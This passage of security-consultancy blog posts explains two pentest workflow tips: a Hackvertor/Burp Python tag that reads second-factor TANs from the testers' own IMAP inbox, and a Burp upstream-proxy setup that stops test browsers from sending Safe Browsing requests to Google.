Let's do a more advanced custom tag example. Could you use the scripting capabilities of Hackvertor to automatically solve TAN second factor verification in multi-factor authentication web forms? At Pentagrid we have an SMS to E-mail gateway for pentesting purposes, meaning if second factor TANs are sent out via SMS or E-mail, they will always land in one of our testing E-mail inboxes. Can we retrieve the second factor TAN tokens from the E-mail inbox with a Hackvertor tag? Yes we can, with the very useful Python imaplib and an E-mail server that supports IMAP. Of course the entire parsing logic for the incoming TANs is highly dependent on the web application and how the SMS or E-mails look like. You will need to change the parsing code according to your needs. So here's a quick'n'dirty example that worked for us for a certain web application. We created the new Hackvertor tag like this:

import getpass, imaplib
import time

time.sleep(0.1)

class Email:
    def __init__(self, data):
        self.data = data.decode()
        self.body = "\r\n\r\n".join(self.data.split("\r\n\r\n")[1:])

M = imaplib.IMAP4_SSL(host='use-your-own-mail-host') # warning: no certificate verification
M.login("pentagrid@example.org", "email-password")
M.select()
typ, data = M.search(None, 'ALL')
token = "NO TOKEN WAS FOUND"
for num in data[0].split()[::-1]:
    typ, data = M.fetch(num, '(RFC822)')
    email = Email(data[0][1])
    for line in email.body.splitlines():
        #print(line)
        if line.startswith("Your TAN is: "):
            token = line.split("Your TAN is: ")[1].strip()
    if token:
        print(token)
        break
    else:
        print("No token found")
    #print('Message %s\n%s\n' % (num, data[0][1]))
print("Final token:", token)
output = token
M.close()
M.logout()

The Python code will login to the IMAP mailbox, retrieve E-mails starting with the newest, quick'n'dirty parse the TAN from the E-mail by interating through each line of the E-mail and assign the the first token found to the output variable that Hackvertor expects. You might need to play with the sleep delay we introduced at the beginning of the script to make sure the E-mail reaches the mailbox before you try to retrieve it. Otherwise you could change the script to only consider the very newest E-mail but you would need to take care to delete old E-mails. And of course you need to change your E-mail server, username and password. Please be aware that this is as well not thread-safe, you would need a seperate E-mail mailbox for each thread to make it concurrent.

Configuring a search and replace rule in the Burp Proxy to replace any second factor you enter with the Hackvertor tab is left as an exercise to the reader. We were able to test websites without ever entering the second factor manually again, as the entered token was replaced with a Hackvertor tag and Hackvertor fetched the token from the mailbox.

Hackvertor is therefore the perfect solution if you would like to script things that are sent in HTTP requests. With the new scripting capabilities, it is not necessary to write extensions when you want to change things sent out. Or do you? Unfortunately, there are certain limitations with this approach and in Burp. The search and replace rule for the Proxy of course only works for the Burp Proxy. But what if we want to make the Burp Crawler be able to login with second-factor TANs? We can't use session handling rules (another advanced topic of Burp), as they don't apply for Burp Crawler. But we were able to write an extension that handles that part, but that's for another blog post (it is really cool to see the headed browser of Burp login correctly). And what if you would also like to modify HTTP responses? Or what if you would like to even enhance Burp with a Transfer-Encoding feature it does not yet support? Do you want to know how you could set up an SMS to E-mail gateway? Stay tuned for our next blog posts, subscribe to our RSS feed or follow us on Twitter or LinkedIn.

Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from <@/name> to </@name>. Therefore, we updated the post, but not the screenshots.

Block browser requests to Google during security analysis in Burp

Pentagrid AG — Wed, 04 Nov 2020 09:00:00 GMT

How to stop Portswigger's Burp Proxy's built-in Chromium browser to leak information to Google's Safe Browsing during a web application penetration test?

When doing web application security research and penetration tests for customers, we sometimes get insights into tools we use that seem weird and undesired. A while ago we were testing a financial website with confidential data with the Mozilla Firefox browser and Firefox was sending the following requests whenever we downloaded a PDF from the website:

POST /safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY% HTTP/1.1
Host: sb-ssl.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 189
Connection: close

blob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___________
Dblob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___
txt_download_name_file_overview.pdf
[...]

As you can see, Firefox leaks the PDF file name we were downloading, the hostname of the website we were testing and some more binary data that could include a file hash. On one side we were happy that we found this privacy issue and could report it to our customer, because this browser behaviour affects normal users. On the other side we do not want our testing tools to behave like this. Safebrowsing can be disabled via the pentest browser's settings menu or by setting these values in about:config and it must be done for every web application test browser in use:

browser.safebrowsing.malware.enabled = false
browser.safebrowsing.phishing.enabled = false

In the meantime the Portswigger Burp proxy we use regularly and write extensions for was updated to include a new feature: A builtin Chromium browser. We really appreciate the added usability and were happy to use this feature in a security analysis in a corporate Windows AD environment, where changing proxy settings was not allowed for the preinstalled browser. Fortunately because we asked our customer to install Burp with administrative privileges, the built-in Chromium browser of Burp could be used. However, we noticed that the preconfigured Chromium browser was again very verbose and contacted Google servers, especially during startup. As we would like to keep all information about our security analysis to our customers and ourselves, we avoid any third-party services wherever feasible. That's why we operate and use our own Burp Collaborator server, for example.

It is possible to disable the Safe Browsing feature in the browser used to perform web application pentests. However, if it is necessary to switch the browser, these settings must be changed there as well and the approach does not really work for the the built-in Chromium browser, because its settings are reset on every start. The easiest solution is to control traffic in the Burp Proxy: We can abuse the Upstream-Proxy setting found in "User options - Connections" in Burp for this purpose. While the following approach will block the requests from reaching the Google servers, they will still show up in the history tab of Burp.

Download google-blocking.json.
In Burp, go to "User options - Connection".
On the left of the "Upstream Proxy Servers" headline, click the settings and chose "Load options".
Chose the file you just downloaded and press "OK". Then, the upstream proxy settings look like in the screenshot below.

This configuration will redirect requests to most Google domains to TCP port 1337 on localhost, which is (hopefully) a dead end. It is possible to use the file as a Burp startup configuration, or even better, merge it with your existing startup configuration by editing the Burp settings JSON file manually. Then, your are able to use these Burp settings in new projects as well.

A drawback of the approach is that your test browser cannot be used for Google searches afterwards and it may break functionality if the tested sites requires resources from Google of course. However, it is recommended to use separate browsers for regular work and for web application testing anyway, because they are configured for different purposes.